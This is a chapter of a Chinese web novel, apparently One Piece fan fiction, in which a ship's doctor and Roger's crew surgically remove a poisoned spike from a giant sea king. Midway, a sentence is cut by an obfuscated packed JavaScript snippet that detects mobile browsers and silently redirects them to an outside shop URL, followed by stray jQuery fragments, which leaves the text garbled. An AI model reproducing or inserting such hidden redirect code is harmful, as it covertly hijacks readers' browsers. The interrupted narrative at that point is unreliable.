“空云苔”的药力如同最上等的绸缎,温柔地包裹着林恩受损的精神脉络。接下来的几天,那股深入骨髓的疲惫和滞涩感明显消退,思维重新变得清晰流畅,虽然还远未恢复到穿越“嚎哭海渊”前的状态,但至少不再是那种令人焦躁的、仿佛隔着一层毛玻璃看世界的朦胧感。库洛卡斯每天为他调配药剂,并辅以温和的针灸,林恩能感觉到,自己这口“井”,正在以缓慢但稳定的速度积蓄着“水”。
只是库洛卡斯依旧严禁他进行任何主动的、高强度的感知尝试,甚至在他处理草药时,会刻意用一些手段干扰他下意识集中精神的企图。“静养,是让‘水’自己慢慢涨上来,而不是你急着去提桶打水。”库洛卡斯的警告简单直接。
林恩遵从了。他专注于呼吸法的练习,专注于记忆那些复杂的医理和药方,专注于在贾巴的监督下进行最基础的体能恢复。他像一块被反复打磨的璞玉,外表依旧粗糙,内里的质地却在一点点变得温润通透。
三天后的清晨,奥罗·杰克逊号航行在一片被薄雾笼罩的奇异海域。这里的海水呈现出深沉的墨蓝色,天空是一种压抑的铅灰色,能见度很低。空气中弥漫着一股浓烈的、类似硫磺和臭氧混合的刺鼻气味,还夹杂着一种难以言喻的、仿佛巨大生物沉睡时发出的、低沉而有韵律的嗡鸣。
瞭望塔上的船员打起了十二分精神,目光警惕地扫视着浓雾深处。新世界,永远不会缺少“惊喜”。
突然,那低沉的嗡鸣声,毫无预兆地拔高,变成了一种尖锐的、充满痛苦与愤怒的嘶鸣!声音来自左舷方向的浓雾深处,震得人耳膜发疼,船体的木板都似乎跟着微微震颤。
“是海王类!大型的!而且受伤了!”有经验的老船员立刻判断。
几乎就在嘶鸣声响起的同时,左前方浓雾猛然被一股巨大的力量搅动、撕开!一个庞大到令人窒息的阴影,缓缓浮现出来。
那不是一艘船,也不是一座岛屿。那是一头……“雷音巨鳗”。
林恩前世在资料中见过这种新世界特有海兽的粗略描述,但亲眼所见的震撼远超任何文字。它露出水面的部分就有近百米长,躯干粗壮如同移动的山峦,覆盖着深蓝近黑、闪烁着金属光泽的厚实鳞片。头部呈现出一种怪异的、介于鳗鱼与蛟龙之间的形态,吻部突出,布满匕首般的獠牙,头顶有两根短短的、不断跳跃着蓝紫色电光的角质突起。最骇人的是它的眼睛,大如磨盘,呈现出浑浊的暗黄色,此刻正因痛苦和暴怒而充血,死死盯着奥罗·杰克逊号。
而它痛苦的源头,清晰可见。在它身躯中段,靠近右侧鳃盖下方的位置,深深嵌入着一根巨大、扭曲、锈迹斑斑的金属物体——看起来像是某种古老船只的残破撞角,或者是被遗弃的巨型鱼叉。伤口处皮开肉绽,鳞片翻卷脱落,墨蓝色的血液混合着诡异的、散发硫磺恶臭的脓液不断渗出,将周围大片海水染成污浊的黑紫色。伤口周围的肌肉不自然地抽搐、痉挛,那根金属异物随着它的每一次痛苦扭动,都更深地切割着它的血肉。
“是‘捕鲸者’号的遗物!”斯宾塞倒吸一口凉气,“那帮疯子五十年前就灭绝了!他们用特制的、带倒钩和毒槽的巨弩猎杀大型海兽!这根撞角上肯定涂了混合毒素和阻止愈合的炼金药剂!这头雷音巨鳗能撑到现在,生命力已经强得可怕了!”
雷音巨鳗显然将奥罗·杰克逊号当作了新的威胁,或者是痛苦中盲目的攻击目标。它发出一声更加凄厉的嘶鸣,庞大的身躯猛地一摆,带着那根可怕的金属异物,搅动起滔天巨浪,朝着海贼船狠狠撞来!它头顶的角质突起蓝紫色电光大盛,空气中弥漫的臭氧味瞬间浓烈了十倍!
“避开!右满舵!全速!”罗杰的吼声如同定海神针。
巨大的木船在彼得姆拼尽全力的操控下,险之又险地擦着雷音巨鳗搅起的浪峰和一道劈落的粗大电弧侧滑出去。电弧击中不远处的海面,炸起冲天的白色水汽和刺鼻的焦糊味。
“船长!它受伤太重,攻击没有章法,但力量很大!而且它很痛苦,会一直攻击视野内的一切活物!”贾巴大声吼道,手中已经握住了双斧。
罗杰站在剧烈摇晃的船头,草帽被狂风吹得猎猎作响,他盯着那头因为冲撞落空而更加狂暴、在原地痛苦翻滚嘶鸣的巨兽,眼神锐利如刀,却没有立刻下令攻击。
“库洛卡斯!”罗杰忽然转头,看向刚刚稳住身形、走到船舷边的船医,“那根‘钉子’,能拔出来吗?”
这个问题让甲板上为之一静。拔出来?给这头显然已经濒临疯狂、极具攻击性的庞然巨兽做“手术”?这想法疯狂得如同天方夜谭。
库洛卡斯没有立刻回答。他扶了扶眼镜,目光如同最精密的仪器,仔细地、一寸寸地扫过雷音巨鳗的伤口,尤其是那根金属异物嵌入的深度、角度,周围组织的腐烂和痉挛程度,以及巨兽本身生命力的波动。他的表情依旧平静,但眉头微微蹙起,显然在进行着极其复杂的快速评估。
“金属异物嵌得很深,可能卡在了主筋骨之间。毒素和炼金药剂严重破坏了周围组织,引发了深度坏死和持续的肌肉痉挛。异物本身的结构……”库洛卡斯语速很快,但每个字都清晰,“不规则,带有倒刺和放血槽,强行拔出会造成二次巨大创伤和大出血,以它目前的状态,很可能当场毙命。而且,它不会配合。”
“那就是能拔,但有条件。”罗杰咧嘴笑了,那笑容里充满了挑战的兴奋,“需要让它安静下来,需要避开要害,需要处理出血和毒素,还需要……很快。”
“安静下来……”库洛卡斯沉吟,目光投向罗杰。
“让老子来跟它‘谈谈’!”罗杰大笑一声,也不等库洛卡斯回答,纵身一跃,竟然直接从高高的船舷上跳了下去,精准地落在下方一艘刚刚放下、还在随波摇晃的小船上!
“船长!”几名船员惊呼。
“没事!看好船!等我信号!”罗杰头也不回,单手握住小船简陋的舵,另一只手朝着雷音巨鳗的方向,用力挥了挥草帽,发出一声清越的长啸:“喂——!大家伙!看这边!”
他的声音似乎蕴含着某种奇异的力量,穿透了巨兽痛苦的嘶鸣和海浪的喧嚣。那头雷音巨鳗浑浊的巨眼猛地转向这个渺小却散发着惊人存在感的人类。
下一秒,一股无形无质、却浩瀚如同星空大海般的磅礴“气势”,以罗杰为中心,轰然爆发!
不是针对船员,而是完全凝聚,如同无形的巨锤,狠狠“砸”向那头雷音巨鳗!
霸王色霸气!而且是收放由心、凝练到极致的霸王色!
林恩的“图谱”感知,在这一刻被动地、不受控制地扩张开来!他“看到”了!
在罗杰那渺小的身躯之上,升腾起一道赤金如火、辉煌璀璨、仿佛要刺破铅灰色天穹的王者光柱!而在雷音巨鳗的方向,那原本混乱、狂暴、充满痛苦暗红色与死寂灰色的庞大生命光焰,被这道赤金光柱“撞”上的瞬间,如同被投入巨石的沸油,猛地一滞!
巨兽眼中狂暴的怒火和痛苦,如同潮水般褪去,取而代之的是一种更深层次的、源自生命本能的恐惧与震慑!它庞大的身躯僵硬了,翻滚的动作停滞了,连头顶跳跃的电弧都黯淡、紊乱起来。那痛苦的嘶鸣卡在喉咙里,变成了低沉的、恐惧的呜咽。
它被“镇”住了!被罗杰那纯粹的、霸道的王者气势,强行压下了痛苦带来的疯狂,陷入了短暂的精神僵直!
“就是现在!”罗杰的声音如同惊雷,在小船上炸响,“库洛卡斯!”
几乎在罗杰吼声响起的同时,库洛卡斯动了。他没有像罗杰那样跳下船,而是飞快地从随身的医药箱里取出数样东西:几卷浸泡在特殊药液里、闪烁着银光的特制坚韧丝线;数把长短、弧度、粗细不一的奇异刀具,有些刀刃薄如蝉翼,有些则带着细小的钩齿;几个装满不同颜色药液的密封水晶瓶;还有一套复杂精巧的、带有滑轮和伸缩杆的辅助器械。
“林恩!”库洛卡斯的命令简洁至极,“带上急救箱,跟我上小船!你只负责递工具,清理视野,观察生命体征——用你的眼睛看,但绝对不许做任何多余的事!明白吗?”
“明白!”林恩心脏狂跳,但没有任何犹豫,一把抓起旁边早已准备好的、装满纱布、药棉、止血剂等基础物品的急救箱,跟在库洛卡斯身后,顺着放下的绳网,迅速滑落到罗杰所在的小船上。
小船在波涛中剧烈起伏。库洛卡斯站稳后,对掌舵的罗杰点了点头。罗杰哈哈一笑,操控着小船,如同灵活的海豚,破开浪花,以惊人的速度冲向那头被霸气震慑、暂时僵直的雷音巨鳗!
越是靠近,那股庞然大物带来的压迫感就越是恐怖。腐烂伤口的恶臭扑面而来,墨蓝色的血液和脓液染黑了周围的海水。雷音巨鳗僵硬的身躯微微颤抖,似乎随时可能从震慑中挣脱,那浑浊的巨眼倒映着小船和船上渺小人类的影子,充满了原始的恐惧和残留的痛苦。
库洛卡斯面色沉静如水。他迅速估算着距离和角度,对罗杰说:“左侧,伤口正下方,稳住船体三分钟。”
罗杰没有回答,只是手腕一抖,小船划出一个精妙的弧线,稳稳停在了库洛卡斯指定的位置,几乎紧贴着雷音巨鳗那布满黏液和寄生贝类的冰冷皮肤。这里,正好是伤口的下方,抬头就能看到那狰狞的创口和嵌入的金属巨物。
“开始。”库洛卡斯的声音没有丝毫波动。他先将一种淡绿色的、散发着清凉气息的药液,用特制的长柄刷,快速而均匀地涂抹在伤口周围大片的区域。药液所过之处,那些痉挛抽搐的肌肉似乎得到了轻微的安抚,渗出的脓血也暂时减缓。
接着,他拿起一把弧度最大的银色弯刀,刀刃在铅灰色的天光下泛着寒芒。“林恩,照明,注意我下刀的位置,随时准备止血粉和加压纱布。”
林恩立刻从急救箱中取出一个特制的、亮度极高的防水灯,对准伤口。同时,他将止血粉和纱布准备好,深吸一口气,强迫自己将全部注意力集中在库洛卡斯的手和那恐怖的伤口上,并小心翼翼地,将一丝极其微弱的、纯粹的“观察”意念投向伤口区域——仅仅是看,不试图理解,不试图干预。
在他的“图谱”视角中,眼前的一切被放大了,也“解剖”了。
雷音巨鳗的生命光焰庞大得如同燃烧的海洋,但那伤口处,却是一个巨大的、不断溃散着暗红与死灰色的“黑洞”。库洛卡斯涂抹的淡绿色药液,散发出柔和的、带着镇静和微弱净化效果的白绿色光晕,如同堤坝,暂时阻止了“黑洞”的扩散。
然后,库洛卡斯的刀动了。
快!准!稳!
银色的刀光如同有了生命,沿着伤口边缘坏死组织与相对健康组织的分界线,轻盈地划下。刀锋过处,腐肉分离,却没有伤及下方那些尚且完好的、闪烁着微弱淡金色光泽的筋膜和粗大血管(在林恩的感知中,这些血管如同奔腾的淡金色河流)。库洛卡斯的手法兼具了外科手术的精准和一种难以言喻的、对生命组织结构的深刻直觉,每一次落刀都恰到好处,避开主要神经束(感知中细密的银色网络)和关键的生机节点。
林恩看得屏住了呼吸。这不是给人做手术,这是给一座山、一片海做手术!库洛卡斯面对的,是放大百倍、千倍的组织结构,是迥异于人类的生命系统,是随时可能崩溃的巨型生命体!但他那双稳定的手和锐利的眼睛,仿佛能穿透一切表象,直达生命构造的“理”。
腐肉被快速清除,露出了那根锈蚀金属异物的根部。情况比预想的更糟。异物不仅带有倒刺,末端还分叉,深深卡在了两根粗大如梁柱的淡金色主筋骨之间,并且钩住了一根同样粗大的、不断搏动的淡金色血管(可能是主要的静脉或动脉之一)。强行拉扯,血管必破,筋骨也可能断裂。
库洛卡斯没有丝毫停顿。他换了一把更细、带钩的刀具,开始小心翼翼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17016542|194203||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
地分离异物与血管、筋骨之间的粘连组织。他的动作轻柔得不可思议,如同在剥离蛋壳上的薄膜。林恩的“图谱”清晰显示,他精准地避开了血管壁,一点点将钩齿从柔软的管壁上“撬”开,同时用另一种散发着清凉止血蓝光的药膏,随时涂抹在可能渗血的微小破口处。
时间一分一秒过去,每一秒都像一个世纪般漫长。罗杰稳稳控制着小船,对抗着海浪和巨兽无意识的颤抖。林恩全神贯注,根据库洛卡斯的指令,递上不同的工具、药液、吸除血水的软管。他的额头布满汗水,但精神因为高度专注和那种奇异的“观察”状态,反而异常清晰。
他能“看到”库洛卡斯的每一次操作,都在最大限度地保护着巨兽残存的生机,引导着那些淡金色的生命能量避开创伤最重的区域,勉力维持着基本的循环。他也“看到”,随着异物的松动,那“黑洞”般的伤口中心,那股代表着炼金毒素和深度坏死的死灰色能量,似乎有了一丝松动的迹象。
终于,在库洛卡斯巧妙的手法下,异物的钩齿完全从血管上脱离,与筋骨的卡扣也只剩最后一点连接。
“准备,要拔了。”库洛卡斯的声音依旧平稳,但语速快了一丝。他换上了一把特制的、带有机械锁扣和缓冲装置的大型钳具,稳稳夹住了异物的末端。“林恩,最大剂量‘生机焕发’药剂,伤口内灌注!罗杰,稳住!”
林恩立刻将一支早就准备好的、散发着浓郁翡翠色光芒的粘稠药剂,通过特制的长针管,快速注入伤口深处。药剂在他的感知中,化作一股蓬勃的、充满生机的翠绿色光流,瞬间涌入那黯淡的伤口区域。
与此同时,库洛卡斯双臂肌肉贲起,低喝一声,钳具上的机械装置发出轻微的咔嗒声,他猛地向外一拔——
“嗤啦——!”
令人牙酸的金属摩擦与血肉撕裂声中,那根折磨了雷音巨鳗不知多久的锈蚀撞角,带着一大团污血和碎肉,被整个拔了出来!伤口处瞬间出现一个巨大的、血肉模糊的空洞,墨蓝色的血液如同喷泉般狂涌而出!
“止血!加压!”库洛卡斯扔掉钳具和异物,双手快如幻影,将大量特制的、混合了高浓度凝血因子和生肌成分的淡金色药膏,狠狠塞入伤口深处,同时用特制的、带有弹性的大面积加压绷带,从几个方向死死捆住伤口区域。
林恩配合着,将更多的止血粉和纱布递上。在他的“图谱”中,伤口那喷涌的淡金色“血流”在药膏和加压的作用下,迅速减缓。那股翠绿色的“生机焕发”药剂的光流,正拼命地试图激发周围组织的自愈能力,与残留的死灰色毒素能量进行着激烈的拉锯战。
整个拔除和初步止血的过程,不过十几秒钟,却仿佛耗尽了所有的精力。
小船迅速后撤,远离了依旧僵直、但伤口已被处理的雷音巨鳗。
库洛卡斯脱力般坐倒在船板上,额头上全是汗水,双手因为过度用力而微微颤抖,但眼神依旧锐利,死死盯着巨兽的反应。罗杰也松了口气,擦了擦并不存在的汗,咧嘴笑了笑。
林恩扶着船舷,喘息着,感觉大脑因为长时间的极限专注和被动观察而隐隐作痛,但心中却充满了难以言喻的震撼。他刚刚目睹了一场何等惊人的“外科手术”!对象是一头山峦般的海王类,主刀医生是库洛卡斯,麻醉师是罗杰船长!
这不仅仅关乎医术,更关乎胆魄、力量,以及对生命本身深刻的敬畏与理解。
就在这时,那头雷音巨鳗似乎从霸王色的震慑中缓缓苏醒。它巨大的身躯颤抖了一下,浑浊的眼睛转动,看向自己身躯上那被包扎起来的、不再有异物肆虐的伤口。痛苦似乎减轻了,虽然依旧沉重,但那种持续不断的、被切割搅动的剧痛消失了。
它低下头,巨大的眼睛看向那艘渺小的小船,看向船上那三个渺小的人类。眼中残留的恐惧慢慢褪去,取而代之的是一种茫然的、近乎懵懂的……困惑?然后,它发出一声低沉的、不再充满痛苦,反而有些虚弱的呜咽,庞大的身躯缓缓沉入水中,只留下一串巨大的气泡和渐渐扩散开的墨蓝色血污。
它没有攻击,也没有感谢,只是默默地离开了,带着被缓解的痛苦和一线渺茫的生机,消失在了浓雾弥漫的深海里。
小船上一片寂静,只有海浪拍打船身的声音。
良久,库洛卡斯缓缓站起身,看着巨兽消失的方向,轻轻叹了口气:“能做的只有这些了。剩下的,看它自己的造化了。”
罗杰哈哈大笑,用力拍了拍库洛卡斯的肩膀:“干得漂亮,老伙计!这可真是……一次够劲的‘手术’!”
林恩默默收拾着凌乱的工具和药瓶,脑海中依旧回放着刚才那惊心动魄又充满生命奇迹的一幕。
他“看到”的,不仅仅是伤口和手术。
他看到的,是库洛卡斯那如同艺术般的、对生命“理”的极致运用。
是罗杰船长那足以震慑山海的王者气概。
是这头巨兽顽强到可怕的生命力。
以及,在浩瀚无情的大海之上,一种超越物种的、对“痛苦”的短暂抚慰,和对“生命”本身的尊重。
这堂课,比他看过的任何医书,经历过的任何训练,都要深刻得多。
奥罗·杰克逊号缓缓驶近,放下绳索。三人回到大船甲板,迎接他们的是船员们敬佩、惊叹,甚至带点后怕的目光。
库洛卡斯没有多说什么,只是对林恩点了点头:“清理工具,然后去休息。今晚之前,把手术过程的要点和你观察到的东西,尽可能详细地默写下来。不用追求文笔,只记录事实和你的……‘感觉’。”
“是,库洛卡斯医生。”林恩恭敬地应道。
他知道,这不仅仅是一份报告。
这是一次珍贵的复盘,一次将震撼心灵的实践,转化为属于自己“基础”的机会。
新世界的航行,刚刚开始。
而他所学到的,已远超想象。